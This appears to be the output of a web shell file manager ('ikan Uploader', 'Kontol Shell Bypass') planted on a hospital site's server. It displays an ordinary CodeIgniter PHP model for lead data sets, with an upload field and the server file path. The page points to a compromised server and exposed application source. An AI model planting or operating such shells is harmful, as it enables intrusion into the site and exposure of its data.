ikan Uploader :
Directory : /var/www/html/shardahospital_old.org/lms/api/application/models/
Upload File : |
| Current File : /var/www/html/shardahospital_old.org/lms/api/application/models/Dataset_model.php |
<?php
class Dataset_model extends CI_Model {
function lists(){
if(USER_TYPE == 'CALLER_MANAGER' || USER_TYPE == 'CALLER' || USER_TYPE == 'COUNSELOR'){
$this->db->where("D.created_by", USER_ID);
}
$this->db->where("D.is_hidden", 0);
$qs=trim_array($this->input->get());
if($qs['k']){
$this->db->group_start()
->like('D.title', $qs['k'])
->group_end();
}
$this->db->select("D.id, D.title, D.expiry_date, D.lead_date_from, D.lead_date_to, D.is_campaign, U.name usr")->from("leads_data_sets D")->join("users U", "D.created_by=U.id")->order_by("D.id", "DESC");
$rs=$this->dba->pagedRows($qs['p'], 50, 5);
foreach($rs['result'] as &$r){
$r['expiry_date'] =get_date($r['expiry_date']);
$r['lead_date_from'] =get_date($r['lead_date_from']);
$r['lead_date_to'] =get_date($r['lead_date_to']);
$r['is_campaign'] =(int)$r['is_campaign'];
}
return $rs;
}
function all_lists($campaign_only=false){
if(USER_TYPE == 'CALLER_MANAGER' || USER_TYPE == 'CALLER'){
$this->db->where("created_by", USER_ID);
}
if($campaign_only){
$cond=['is_campaign'=>1];
}else{
$cond=['is_hidden'=>0, 'is_campaign'=>0];
}
return $this->db->select("id, title, DATE_FORMAT(created, '%d %b %Y') created", false)->from("leads_data_sets")->where($cond)->order_by("id", "DESC")->get()->result_array();
}
function detail($id=0, $user_id=0){
if(!$id){
$id=$this->db->select("data_set_id")->get_where("users", array('id'=>$user_id))->row()->data_set_id;
}
$dtl=$this->db->get_where("leads_data_sets", array('id'=>$id))->row_array();
if($dtl){
$dtl['expiry_date'] =get_date($dtl['expiry_date']);
$dtl['lead_date_from'] =get_date($dtl['lead_date_from']);
$dtl['lead_date_to'] =get_date($dtl['lead_date_to']);
$dtl['states'] =$dtl['states']?explode(",", $dtl['states']):[];
$dtl['cities'] =$dtl['cities']?unserialize($dtl['cities']):[];
$dtl['programs'] =$dtl['programs']?explode(",", $dtl['programs']):[];
$dtl['fields'] =$dtl['fields']?explode(",", $dtl['fields']):[];
$dtl['utm_sources'] =$dtl['utm_sources']?explode(",", $dtl['utm_sources']):[];
$dtl['steps'] =$dtl['steps']?explode(",", $dtl['steps']):[];
$dtl['payment_modes'] =$dtl['payment_modes']?explode(",", $dtl['payment_modes']):[];
$dtl['ps_app_status'] =$dtl['ps_app_status']?explode(",", $dtl['ps_app_status']):[];
$dtl['encrypt_mob'] =(int)$dtl['encrypt_mob'];
$dtl['encrypt_email'] =(int)$dtl['encrypt_email'];
$dtl['encrypt_txnid'] =(int)$dtl['encrypt_txnid'];
}
return $dtl;
}
function delete($id){
$this->db->db_debug=FALSE;
return $this->db->delete("leads_data_sets", array('id'=>$id));
}
function cities($state_id, $id=0){
$cities=$this->common->cities($state_id);
$dscities=$this->db->get_where("leads_data_sets", array('id'=>$id))->row()->cities;
$dscities=$dscities?unserialize($dscities):[];
if($dscities && isset($dscities[$state_id])){
$dscities=$dscities[$state_id];
}
foreach($cities as &$r){
$r['isadded']=in_array($r['id'], $dscities)?true:false;
unset($r['pincode']);
}
return $cities;
}
}
//End of file
Kontol Shell Bypass